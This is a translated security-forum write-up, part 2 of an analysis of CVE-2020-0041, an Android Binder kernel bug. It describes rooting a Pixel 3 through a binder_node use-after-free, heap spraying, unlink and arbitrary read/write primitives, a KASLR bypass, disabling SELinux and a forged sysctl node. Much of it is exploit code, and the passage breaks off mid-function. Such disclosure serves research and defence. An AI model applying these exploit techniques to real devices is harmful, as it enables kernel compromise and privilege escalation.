首页
论坛
课程
招聘
[翻译]CVE-2020-0041:Chrome沙箱逃逸漏洞利用分析(part2)
2020-5-6 18:07 5244

[翻译]CVE-2020-0041:Chrome沙箱逃逸漏洞利用分析(part2)

2020-5-6 18:07
5244

CVE-2020-0041:Chrome沙箱逃逸漏洞利用分析(part1)
https://bbs.pediy.com/thread-258674.htm

 

几个月前,我们发现并利用了Binder驱动程序中的漏洞,该漏洞已于2019年12月10日向Google报告,漏洞已包含在2020年3月的Android安全公告(CVE-2020-0041)中。

 

在上一篇文章中,我们分析了该漏洞以及如何利用它逃逸Google Chrome沙箱。如果你还没有阅读过该文章,应该先看一下这篇分析,以了解我们正在利用的漏洞以及可用的原语。在这篇文章中,我们将描述如何使用相同的bug攻击内核并在Pixel 3设备上获得root特权。

0x01 破坏内存原语

如我们之前的文章中所述,当驱动程序在处理经过验证的binder transaction时,我们可以破坏它的某些部分,可以在两个阶段使用这些值作为攻击目标:

  1. 收到transaction后,将由用户空间组件进行处理。这包括libbinder以及上层结构。这就是我们在上一篇文章中用来攻击Chrome浏览器进程的方法。
  2. 使用transaction缓冲区完成用户空间时,它要求驱动程序使用BC_FREE_BUFFER命令释放它。这导致驱动程序处理transaction缓冲区。

分析一下绑定驱动程序中的transaction缓冲区清理代码,同时考虑到我们可能损坏了transaction数据:

static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

    if (buffer->target_node)
[1]     binder_dec_node(buffer->target_node, 1, 0);

    off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
    off_end_offset = is_failure ? failed_at :
                off_start_offset + buffer->offsets_size;
[2]    for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
         buffer_offset += sizeof(binder_size_t)) {
        struct binder_object_header *hdr;
        size_t object_size;
        struct binder_object object;
        binder_size_t object_offset;

        binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
                          buffer, buffer_offset,
                          sizeof(object_offset));
        object_size = binder_get_object(proc, buffer,
                        object_offset, &object);
        if (object_size == 0) {
            pr_err("transaction release %d bad object at offset %lld, size %zd\n",
                   debug_id, (u64)object_offset, buffer->data_size);
            continue;
        }
        hdr = &object.hdr;
        switch (hdr->type) {
        case BINDER_TYPE_BINDER:
        case BINDER_TYPE_WEAK_BINDER: {
            struct flat_binder_object *fp;
            struct binder_node *node;

            fp = to_flat_binder_object(hdr);
[3]         node = binder_get_node(proc, fp->binder);
            if (node == NULL) {
                pr_err("transaction release %d bad node %016llx\n",
                       debug_id, (u64)fp->binder);
                break;
            }
            binder_debug(BINDER_DEBUG_TRANSACTION,
                     "        node %d u%016llx\n",
                     node->debug_id, (u64)node->ptr);
[4]         binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
                    0);
            binder_put_node(node);
        } break;

...

        case BINDER_TYPE_FDA: {
...
            /*
             * the source data for binder_buffer_object is visible
             * to user-space and the @buffer element is the user
             * pointer to the buffer_object containing the fd_array.
             * Convert the address to an offset relative to
             * the base of the transaction buffer.
             */
[5]         fda_offset =
                (parent->buffer - (uintptr_t)buffer->user_data) +
                fda->parent_offset;
            for (fd_index = 0; fd_index < fda->num_fds;
                 fd_index++) {
                u32 fd;
                binder_size_t offset = fda_offset +
                    fd_index * sizeof(fd);

                binder_alloc_copy_from_buffer(&proc->alloc,
                                  &fd,
                                  buffer,
                                  offset,
                                  sizeof(fd));
[6]             task_close_fd(proc, fd);
            }
        } break;
        default:
            pr_err("transaction release %d bad object type %x\n",
                debug_id, hdr->type);
            break;
        }
    }
}

[1]处,驱动程序检查当前transaction是否存在目标绑定程序节点,如果存在,则递减其引用计数,如果其引用计数达到零,它可能触发释放此节点,但是我们无法控制此指针。

 

[2]中,驱动程序遍历transaction中的所有对象,并进入switch语句,在其中为每种对象类型执行所需的清除。对于类型BINDER_TYPE_BINDERBINDER_TYPE_WEAK_BINDER,清除工作涉及在[3]处使用fp-> binder查找对象,然后在[4]处减少引用计数。由于从transaction缓冲区中读取了fp-> binder,因此我们实际上可以通过用另一个值替换该值来过早释放节点引用。反过来,这可能导致未使用的Binder节点对象。

 

最后,对于BINDER_TYPE_FDA对象,我们可能破坏[5]中使用的parent- > buffer字段,并最终在远程进程上关闭任意文件描述符。

 

在我们的漏洞利用开发中,我们利用引用计数BINDER_TYPE_BINDER造成 结构binder_node类型对象出现UAF。这与我们在有关CVE-2019-2205的OffensiveCon PPT中描述的UAF完全相同。但是,我们在该漏洞利用中使用的某些技术在最近的内核中不再可用。

0x02 Binder 通信

绑定程序驱动程序的设计方式是,transaction只能发送到你从其他进程收到的句柄或上下文管理器(句柄0)。通常,当要与服务对话时,他们首先向上下文管理器 (用于当前版本的Android的三个Binder域的servicemanager,hwservicemanager或vndservicemanager)请求句柄 。

 

如果服务代表客户端创建子服务或对象,则该服务将发送一个句柄,以便客户端可以与新对象对话。

 

在某些情况下,控制通信的两端,例如对条件竞争进行更好的定时控制将是有益的。在我们的特定情况下,需要在发送transaction时知道接收方绑定程序映射的地址,以避免崩溃。另外,为了使我们拥有的损坏原语可以UAF,接收过程必须创建绑定节点,fp-> binder字段等于我们要破坏的 sg_buf值。

 

满足所有这些约束的最简单方法是控制transaction的发送端和接收端。在这种情况下,我们可以访问所有必需的值,而无需使用信息泄漏来从远程进程中检索它们。

 

但是,我们不允许通过上下文管理器 从非特权应用程序注册服务 ,因此不能走常规路线。我们 在/ dev / hwbinder域中使用了 ITokenManager服务来设置通信通道,此服务最初由Gal Beniamini在“project-zero”报告中公开使用:

Note that in order to pass the binder instance between process A and process B, the "Token 
Manager" service can be used. This service allows callers to insert binder objects and retrieve
20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte
token, and retrieve the previously inserted binder object from the service. The service is 
accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).

为了利用自己的“进程”,我们在漏洞利用中使用了相同的机制。然而,需要注意的是“进程”在这里并不一定代表实际的进程,而是一个binder_proc关联到一个binder文件描述符结构。

 

这意味着我们可以打开两个binder文件描述符,通过第一个文件描述符创建一个令牌,然后从第二个文件描述符中检索它。这样,我们已经收到第一个文件描述符拥有的句柄,现在可以在两者之间发送binder transaction。

0x03 binder_node泄漏数据和UAF漏洞

绑定程序节点由驱动程序以两种不同的方式使用:作为transaction内容的一部分,以便将它们从一个进程传递到另一个进程,或作为transaction的目标。当用作transaction的一部分时,总是从节点的rb-tree中检索这些节点,并对引用进行正确计数。当我们导致节点“UAF”时,它也会从rb-tree中删除。因此,当用作transaction目标时,我们只能悬挂指向已释放节点的指针,因为在这种情况下,驱动程序将指向实际的binder_node的指针存储在transaction-> target_node中。

 

binder驱动程序中有很多对target_node的引用,但是许多引用是在transaction的发送路径或调试代码中执行的。与其他相比,transaction接收路径为我们提供了一种将某些数据泄漏回用户空间的方法:

   struct binder_transaction_data *trd = &tr.transaction_data;

...

        if (t->buffer->target_node) {
            struct binder_node *target_node = t->buffer->target_node;
            struct binder_priority node_prio;

[1]         trd->target.ptr = target_node->ptr;
            trd->cookie =  target_node->cookie;
            node_prio.sched_policy = target_node->sched_policy;
            node_prio.prio = target_node->min_priority;
            binder_transaction_priority(current, t, node_prio,
                            target_node->inherit_rt);
            cmd = BR_TRANSACTION;
        } else {
            trd->target.ptr = 0;
            trd->cookie = 0;
            cmd = BR_REPLY;
        }

...

[2]     if (copy_to_user(ptr, &tr, trsize)) {
            if (t_from)
                binder_thread_dec_tmpref(t_from);

            binder_cleanup_transaction(t, "copy_to_user failed",
                           BR_FAILED_REPLY);

            return -EFAULT;
        }
        ptr += trsize;

[1],驱动程序从target_node提取两个64位值到transaction_data结构中,稍后将此结构复制到[2]的 userland 。因此,如果在释放其target_node并将其替换为另一个对象之后接收到transaction,则可以读取对应于ptrcookie的偏移处的两个64位字段。

 

如果我们在gdb上查看此结构编译内核,我们可以分别在偏移量0x58和0x60处看到这些字段:

(gdb) pt /o struct binder_node
/* offset    |  size */  type = struct binder_node {
/*    0      |     4 */    int debug_id;
/*    4      |     4 */    spinlock_t lock;
/*    8      |    24 */    struct binder_work {
/*    8      |    16 */        struct list_head {
/*    8      |     8 */            struct list_head *next;
/*   16      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*   24      |     4 */        enum {BINDER_WORK_TRANSACTION = 1, BINDER_WORK_TRANSACTION_COMPLETE, BINDER_WORK_RETURN_ERROR, BINDER_WORK_NODE, BINDER_WORK_DEAD_BINDER, BINDER_WORK_DEAD_BINDER_AND_CLEAR, BINDER_WORK_CLEAR_DEATH_NOTIFICATION} type;

                               /* total size (bytes):   24 */
                           } work;
/*   32      |    24 */    union {
/*                24 */        struct rb_node {
/*   32      |     8 */            unsigned long __rb_parent_color;
/*   40      |     8 */            struct rb_node *rb_right;
/*   48      |     8 */            struct rb_node *rb_left;

                                   /* total size (bytes):   24 */
                               } rb_node;
/*                16 */        struct hlist_node {
/*   32      |     8 */            struct hlist_node *next;
/*   40      |     8 */            struct hlist_node **pprev;

                                   /* total size (bytes):   16 */
                               } dead_node;

                               /* total size (bytes):   24 */
                           };
/*   56      |     8 */    struct binder_proc *proc;
/*   64      |     8 */    struct hlist_head {
/*   64      |     8 */        struct hlist_node *first;

                               /* total size (bytes):    8 */
                           } refs;
/*   72      |     4 */    int internal_strong_refs;
/*   76      |     4 */    int local_weak_refs;
/*   80      |     4 */    int local_strong_refs;
/*   84      |     4 */    int tmp_refs;
/*   88      |     8 */    binder_uintptr_t ptr;
/*   96      |     8 */    binder_uintptr_t cookie;
/*  104      |     1 */    struct {
/*  104: 7   |     1 */        u8 has_strong_ref : 1;
/*  104: 6   |     1 */        u8 pending_strong_ref : 1;
/*  104: 5   |     1 */        u8 has_weak_ref : 1;
/*  104: 4   |     1 */        u8 pending_weak_ref : 1;

                               /* total size (bytes):    1 */
                           };
/*  105      |     2 */    struct {
/*  105: 6   |     1 */        u8 sched_policy : 2;
/*  105: 5   |     1 */        u8 inherit_rt : 1;
/*  105: 4   |     1 */        u8 accept_fds : 1;
/*  105: 3   |     1 */        u8 txn_security_ctx : 1;
/* XXX  3-bit hole   */
/*  106      |     1 */        u8 min_priority;

                               /* total size (bytes):    2 */
                           };
/*  107      |     1 */    bool has_async_transaction;
/* XXX  4-byte hole  */
/*  112      |    16 */    struct list_head {
/*  112      |     8 */        struct list_head *next;
/*  120      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } async_todo;

                           /* total size (bytes):  128 */
                         }

因此,我们需要找到可以随意分配和释放的对象,并且这些对象在这些偏移处包含有趣的数据。当我们最初向Google报告此漏洞时,我们编写了覆盖selinux_enforcing的漏洞利用,并且使用了kgsl_drawobj_sync,该泄漏会泄漏指向自身的指针和指向内核函数的指针。这对于漏洞验证就足够了,但对于我们在此描述的完整的root攻击来说,还不够。

 

对于完整的漏洞利用,我们使用了与CVE-2019-2025漏洞利用相同的对象:用于跟踪事件轮询中监视文件的Epitem 结构:

 (gdb) pt /o struct epitem
    /* offset    |  size */  type = struct epitem {
    /*    0      |    24 */    union {
    /*                24 */        struct rb_node {
    /*    0      |     8 */            unsigned long __rb_parent_color;
    /*    8      |     8 */            struct rb_node *rb_right;
    /*   16      |     8 */            struct rb_node *rb_left;

                                       /* total size (bytes):   24 */
                                   } rbn;
    /*                16 */        struct callback_head {
    /*    0      |     8 */            struct callback_head *next;
    /*    8      |     8 */            void (*func)(struct callback_head *);

                                       /* total size (bytes):   16 */
                                   } rcu;

                                   /* total size (bytes):   24 */
                               };
    /*   24      |    16 */    struct list_head {
    /*   24      |     8 */        struct list_head *next;
    /*   32      |     8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } rdllink;
    /*   40      |     8 */    struct epitem *next;
    /*   48      |    12 */    struct epoll_filefd {
    /*   48      |     8 */        struct file *file;
    /*   56      |     4 */        int fd;

                                   /* total size (bytes):   12 */
                               } ffd;
    /*   60      |     4 */    int nwait;
    /*   64      |    16 */    struct list_head {
    /*   64      |     8 */        struct list_head *next;
    /*   72      |     8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } pwqlist;
    /*   80      |     8 */    struct eventpoll *ep;

    /*   88      |    16 */    struct list_head {
    /*   88      |     8 */        struct list_head *next;
    /*   96      |     8 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } fllink;

    /*  104      |     8 */    struct wakeup_source *ws;
    /*  112      |    16 */    struct epoll_event {
    /*  112      |     4 */        __u32 events;
    /* XXX  4-byte hole  */
    /*  120      |     8 */        __u64 data;

                                   /* total size (bytes):   16 */
                               } event;

                               /* total size (bytes):  128 */
                             }

如上所示,fllink链表与泄漏字段重叠。此列表由eventpoll用于链接正在监视同一struct文件的所有Epitem结构。因此,我们可以泄漏一对内核指针。

 

这里有几种可能性,如果对于一个特定的struct文件只有一个这样的表位结构,那么数据结构是什么样的:

 

img

 

因此,我们应该泄漏fllink的内容epitem,我们发送到两个相同的指针到文件结构。现在考虑如果在同一文件上有第二个epitem会发生什么:

 

img

 

在这种情况下,如果我们同时从两个表位泄漏,我们将获得它们的地址以及struct文件的地址。

 

在我们的漏洞利用中,在将它们用于写原语之前,我们将使用这两种技巧来公开结构文件指针和已释放节点的地址。

 

但是请注意,为了泄漏数据,我们需要将待处理的放在队列中,直到可以触发错误并释放binder_node为止。漏洞利用是通过为每个未决事务分配专用线程,然后根据释放节点所需的transaction次数来减少引用计数来实现的。在这种情况发生之后,我们可以随时根据需要释放释放的缓冲区,与创建的待处理transaction一样多。

0x04 获得内存写入原语

为了识别内存写入原语,我们转向transaction-> target_node字段的另一种用法:前面讨论的binder_transaction_buffer_release中引用计数的递减。假设已经用完全受控的对象替换了释放的节点,在这种情况下,驱动程序使用以下代码减少节点的引用计数:

static bool binder_dec_node_nilocked(struct binder_node *node,
                     int strong, int internal)
{
    struct binder_proc *proc = node->proc;

    assert_spin_locked(&node->lock);
    if (proc)
        assert_spin_locked(&proc->inner_lock);
    if (strong) {
        if (internal)
            node->internal_strong_refs--;
        else
            node->local_strong_refs--;
        if (node->local_strong_refs || node->internal_strong_refs)
            return false;
    } else {
        if (!internal)
            node->local_weak_refs--;
        if (node->local_weak_refs || node->tmp_refs ||
                !hlist_empty(&node->refs))
            return false;
    }

    if (proc && (node->has_strong_ref || node->has_weak_ref)) {
        if (list_empty(&node->work.entry)) {
            binder_enqueue_work_ilocked(&node->work, &proc->todo);
            binder_wakeup_proc_ilocked(proc);
        }
[1] } else {
        if (hlist_empty(&node->refs) && !node->local_strong_refs &&
            !node->local_weak_refs && !node->tmp_refs) {
            if (proc) {
                binder_dequeue_work_ilocked(&node->work);
                rb_erase(&node->rb_node, &proc->nodes);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "refless node %d deleted\n",
                         node->debug_id);
            } else {
[2]             BUG_ON(!list_empty(&node->work.entry));
                spin_lock(&binder_dead_nodes_lock);
                /*
                 * tmp_refs could have changed so
                 * check it again
                 */
                if (node->tmp_refs) {
                    spin_unlock(&binder_dead_nodes_lock);
                    return false;
                }
[3]             hlist_del(&node->dead_node);
                spin_unlock(&binder_dead_nodes_lock);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "dead node %d deleted\n",
                         node->debug_id);
            }
            return true;
        }
    }
    return false;
}

我们可以设置节点数据,以便到达[1]处的else分支,并确保node-> proc为NULL。在这种情况下,我们首先在[2]到达list_empty检查。要绕过此检查,需要设置一个空列表(即next和prev指向list_head本身),这就是为什么需要首先泄漏节点地址的原因。

 

一旦绕过了[2]处的检查,就可以通过受控数据到达[3]处的hlist_del。该函数执行以下操作:

static inline void __hlist_del(struct hlist_node *n)
{
    struct hlist_node *next = n->next;
    struct hlist_node **pprev = n->pprev;

    WRITE_ONCE(*pprev, next);
    if (next)
        next->pprev = pprev;
}

static inline void hlist_del(struct hlist_node *n)
{
    __hlist_del(n);
    n->next = LIST_POISON1;
    n->pprev = LIST_POISON2;
}

现在就变成了经典的unlink,其中我们可以设置 X = Y*和(Y + 8)= X。因此,拥有两个可写的内核地址,可以使用它来破坏某些数据。此外,如果将next设置为NULL*,则仅具有一个内核地址就可以执行一个8字节的NULL写入。

0x05 重新分配具有任意内容的释放节点

上面描述的获取导致内存崩溃的unlink原语的步骤假定可以用受控对象替换释放的对象。我们不需要完全控制该对象,而只需要通过所有检查并触发hlist_del原语而不会崩溃即可。

 

为了实现这一点,我们使用了一种众所周知的技术:通过sendmsg syscall 堆喷控制消息。该系统调用的代码如下所示:

static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address,
             unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;
    int ctl_len;
    ssize_t err;

...

        if (ctl_len > sizeof(ctl)) {
[1]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
[2]     if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }

...


out_freectl:
    if (ctl_buf != ctl)
[3]    sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
    kfree(iov);
    return err;
}

如果请求的控制消息长度大于本地ctl缓冲区,则在[1]处将在内核堆上分配一个缓冲区。在[2]处,从用户区复制控制消息,最后在[3]处处理消息后,释放分配的缓冲区。

 

一旦目标套接字缓冲区已满,我们将使用阻塞调用来使系统调用阻塞,因此在点[2][3]之间的线程之后进行阻塞。这样,我们可以控制替换对象的生存期。

 

还可以利用Jann Horn在其PROCA攻击中使用的方法:让sendmsg调用完成,并立即使用signalfd文件描述符重新分配该对象,这样的好处是不需要为每个分配使用单独的线程。

 

在任何情况下,使用这种类型的喷射,我们都可以按照几乎完全控制的方式重新分配释放的binder节点,以便触发前面所述的写原语。

 

但是要注意的一件事是,如果我们的喷射失败,由于释放的内存上要执行的操作和检查量很大,最终将导致内核崩溃。但是,这种UAF的特性非常好,只要我们不触发写原语,就可以简单地关闭binder文件描述符,并且不会对内核有任何影响。

 

因此,在尝试触发写原语之前,我们使用泄漏原语来验证是否已成功重新分配节点。为此,只需拥有大量待处理的transaction,并在每次需要从释放的对象中泄漏一些数据时读取一个transaction。如果数据不是我们期望的,可以简单地关闭binder文件描述符,然后重试。

 

即使存在相对不可靠的重新分配,此属性也使漏洞利用非常可靠。

0x06 获取任意读取原语

此时,我们使用与OffensiveCon 2020演讲中所述相同的任意读取技术。也就是说,我们破坏了file-> f_inode并使用以下代码 执行读取:

int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
         unsigned long arg)
{
    int error = 0;
    int __user *argp = (int __user *)arg;
    struct inode *inode = file_inode(filp);

    switch (cmd) {

...

    case FIGETBSZ:
        return put_user(inode->i_sb->s_blocksize, argp);

...

如果看了我们的PPT,早在2018年末,我们就使用了binder mapping spray绕过PAN,并在受控位置获得了受控数据。但是,在摆脱内核端绑定程序映射的同时,引入了我们在此处利用的漏洞。这意味着我们不能再使用binder mapping spray,必须找到另一种解决方案。

 

我们想到的解决方案是将f_inode字段指向一个epitem结构。该结构包含一个完全可控制的64位字段:event.data字段。可以使用ep_ctl(efd,EPOLL_CTL_MOD,fd,&event)修改此字段。因此,如果将数据字段与inode-> i_sb字段对齐,将能够执行任意读取。

 

下图以图形方式展示了设置:

 

img

 

我们破坏了基于epitemfllink.next 内存区域 ,由于我们获得了写原语就可以指回file->f_inode 。如果曾经使用过此字段,则可能会出现问题,但是由于我们是这些struct文件Epitem实例的唯一用户,因此 只需避免调用任何使用它们的API就可以了。

 

基于上面描述的设置,我们现在可以如下构建一个任意读取原语:

uint64_t read32(uint64_t addr) {
   struct epoll_event evt;
   evt.events = 0;
   evt.data.u64 = addr - 24;
   int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
   uint32_t test = 0xdeadbeef;
   ioctl(pipes[0], FIGETBSZ, &test);
   return test;
}

uint64_t read64(uint64_t addr) {
   uint32_t lo = read32(addr);
   uint32_t hi = read32(addr+4);

   return (((uint64_t)hi) << 32) | lo;
}

请注意,我们的数据字段设置 epitem地址- 24,其中24偏移的 s_blocksize的结构。同样,即使 s_blocksize原则上是64位长,但 ioctl代码仅将32位复制回用户区,因此如果要读取64位值,我们需要读取两次。

 

现在有了一个任意的读取原语,并且从最初的泄漏中知道了结构文件的地址,我们可以简单地读取f_op 字段来检索内核.text指针。

 

这会导致完全绕过KASLR:

/* Step 1: leak a pipe file address */

file = node_new("leak_file");

/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
   node_reset(file);

uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);


/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
   node_reset(epitem_node);

printf("[*] file epitem at %lx\n", file->kaddr);

/*
 * Alright, now we want to do a write8 to set file->f_inode.
 * Given the unlink primitive, we'll set file->f_inode = epitem + 80
 * and epitem + 88 = &file->f_inode.
 *
 * With this we can change f_inode->i_sb by modifying the epitem data,
 * and get an arbitrary read through ioctl.
 *
 * This is corrupting the fllink, so we better don't touch anything there!
 */

struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);

printf("[*] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);

kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);

0x07 禁用SELinux并设置任意写原语

现在我们知道了内核基地址,可以使用写原语在selinux_enforcing变量上写一个NULL qword 并将SELinux设置为许可模式。我们的漏洞利用程序在设置任意写入原语之前会执行此操作,因为我们提出的技术实际上需要禁用SELinux。

 

在考虑了几种选择之后,我们最终决定攻击内核用来处理/ proc / sys的sysctl表以及从那里hook所有数据。有许多描述这些变量的全局表,例如下面的kern_table

static struct ctl_table kern_table[] = {
    {
        .procname   = "sched_child_runs_first",
        .data       = &sysctl_sched_child_runs_first,
        .maxlen     = sizeof(unsigned int),
        .mode       = 0644,
        .proc_handler   = proc_dointvec,
    },
#if defined(CONFIG_PREEMPT_TRACER) || defined(CONFIG_IRQSOFF_TRACER)
    {
        .procname       = "preemptoff_tracing_threshold_ns",
        .data           = &sysctl_preemptoff_tracing_threshold_ns,
        .maxlen         = sizeof(unsigned int),
        .mode           = 0644,
        .proc_handler   = proc_dointvec,
    },
    {
        .procname       = "irqsoff_tracing_threshold_ns",
        .data           = &sysctl_irqsoff_tracing_threshold_ns,
        .maxlen         = sizeof(unsigned int),
        .mode           = 0644,
        .proc_handler   = proc_dointvec,
    },

...

例如,第一个变量是“ sched_child_runs_first”,这意味着可以通过/ proc / sys / kernel / sched_child_runs_first对其进行访问。文件模式为0644,所以它只能写为root(当然SELinux限制可能适用),它是一个整数。读写由proc_dointvec函数处理,该函数将在访问文件时将整数与字符串表示形式进行转换。该数据字段指向其中变量在内存中,以获得任意的读/写原语。

 

我们最初尝试将其中一些变量作为目标,但随后意识到该表实际上仅在内核初始化期间使用。这意味着破坏该表的内容对我们不是很有用。但是,此表用于创建一组内存结构,这些内存结构定义了现有的sysctl变量及其权限。

 

这些结构可以通过分析sysctl_table_root结构找到,该结构包含一个ctl_node节点的rb-tree ,然后指向定义变量本身的ctl_table表。由于我们具有读取原语,因此可以解析并找到其中的最左边的节点,该节点没有子节点。

 

在正常情况下,tree如下图所示:

 

img

 

如果查看这些节点的字母顺序,可以看到所有左子节点均按字母降序排序。实际上,这是这些树中的平衡规则:左子级必须比当前节点低,而右子级必须更高。

 

因此,为了确保我们保持树的平衡,请使用我们的write8 原语,向最左边的节点添加名称以“ aaa”开头的左子节点。以下代码在prev_node中找到树的最左节点,这将是我们假节点的插入点:

/* Now we can prepare our magic sysctl node as s child of the left-most node */

uint64_t sysctl_table_root = kernel_base + SYSCTL_TABLE_ROOT_OFFSET;
printf("[+] sysctl_table_root = %lx\n", sysctl_table_root);
uint64_t ctl_dir = sysctl_table_root + 8;

uint64_t node = read64(ctl_dir + 80);
uint64_t prev_node;
while (node != 0) {
   prev_node = node;
   node = read64(node + 0x10);
}

为了插入新节点,我们需要在内核存储器中为其找到一个位置。这是必需的,因为现代移动手机都启用了PAN(永远访问权限),可以防止内核无意中使用用户区内存。假设我们有一个任意的读取原语,可以通过解析从current-> mm-> pgd开始的进程的页表,并在physmap中找到其中一个页面的地址来解决这个问题。另外,使用我们自己的用户空间页面的physmap别名是理想的选择,因为可以轻松地编辑节点以更改要定位的数据的地址,从而为我们提供了灵活的读/写原语。

 

通过以下方式解析physmap别名:

/* Now resolve our mapping at 2MB. But first read memstart_addr so we can do phys_to_virt() */

memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET);
printf("[+] memstart_addr: 0x%lx\n", memstart_addr);
uint64_t mm = read64(current + MM_OFFSET);
uint64_t pgd = read64(mm + 0x40);
uint64_t entry = read64(pgd);

uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] First level entry: %lx -> next table at %lx\n", entry, next_tbl);

/* Offset 8 for 2MB boundary */
entry = read64(next_tbl + 8);
next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] Second level entry: %lx -> next table at %lx\n", entry, next_tbl);

entry = read64(next_tbl);
uint64_t kaddr = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);


*(uint64_t *)map = 0xdeadbeefbadc0ded;
if ( read64(kaddr) != 0xdeadbeefbadc0ded) {
   printf("[!] Something went wrong resolving the address of our mapping\n");
   goto out;
}

请注意,我们需要读取memstart_addr的内容,以便能够在物理地址和相应的physmap地址之间进行转换。运行此代码后,在进程地址空间的0x200000处找到的数据也可以在内核域的kaddr中找到。

 

这样,就可以如下设置新的sysctl节点:

/* We found the insertion place, setup the node */

uint64_t node_kaddr = kaddr;
void *node_uaddr = map;

uint64_t tbl_header_kaddr = kaddr + 0x80;
void *tbl_header_uaddr = map + 0x80;

uint64_t ctl_table_kaddr = kaddr + 0x100;
ctl_table_uaddr = map + 0x100;

uint64_t procname_kaddr = kaddr + 0x200;
void * procname_uaddr = map + 0x200;

/* Setup rb_node */
*(uint64_t *)(node_uaddr + 0x00) = prev_node;              // parent = prev_node
*(uint64_t *)(node_uaddr + 0x08) = 0;                      // right = null
*(uint64_t *)(node_uaddr + 0x10) = 0;                      // left = null

*(uint64_t *)(node_uaddr + 0x18) = tbl_header_kaddr;       // my_tbl_header

*(uint64_t *)(tbl_header_uaddr) = ctl_table_kaddr;
*(uint64_t *)(tbl_header_uaddr + 0x18) = 0;                // unregistering
*(uint64_t *)(tbl_header_uaddr + 0x20) = 0;                // ctl_Table_arg
*(uint64_t *)(tbl_header_uaddr + 0x28) = sysctl_table_root;      // root
*(uint64_t *)(tbl_header_uaddr + 0x30) = sysctl_table_root;      // set
*(uint64_t *)(tbl_header_uaddr + 0x38) = sysctl_table_root + 8;  // parent
*(uint64_t *)(tbl_header_uaddr + 0x40) = node_kaddr;          // node
*(uint64_t *)(tbl_header_uaddr + 0x48) = 0;                // inodes.first

/* Now setup ctl_table */
uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET;
*(uint64_t *)(ctl_table_uaddr) = procname_kaddr;           // procname
*(uint64_t *)(ctl_table_uaddr + 8) = kernel_base;          // data == what to read/write
*(uint32_t *)(ctl_table_uaddr + 16) = 0x8;                 // max size
*(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec;       // proc_handler
*(uint32_t *)(ctl_table_uaddr + 20) = 0666;             // mode = rw-rw-rw-

/*
 * Compute and write the node name. We use a random name starting with aaa
 * for two reasons:
 *
 *  - Must be the first node in the tree alphabetically given where we insert it (hence aaa...)
 *
 *  - If we already run, there's a cached dentry for each name we used earlier which has dangling
 *    pointers but is only reachable through path lookup. If we'd reuse the name, we'd crash using
 *    this dangling pointer at open time.
 *
 * It's easier to have a unique enough name instead of figuring out how to clear the cache,
 * which would be the cleaner solution here.
 */

int fd = open("/dev/urandom", O_RDONLY);
uint32_t rnd;
read(fd, &rnd, sizeof(rnd));

sprintf(procname_uaddr, "aaa_%x", rnd);
sprintf(pathname, "/proc/sys/%s", procname_uaddr);

/* And finally use a write8 to inject this new sysctl node */
struct exp_node *write8_sysctl = node_new("write8_sysctl");
node_write8(write8_sysctl, kaddr, prev_node + 16);

/ proc / sys / aaa_ [random]中创建一个具有读/写权限的文件,并使用proc_douintvec处理读/写。此函数将数据字段作为要读取或写入的指针,并允许最多以无符号整数读取或写入max_size个字节。

 

这样,我们可以如下设置写原语:

void write64(uint64_t addr, uint64_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
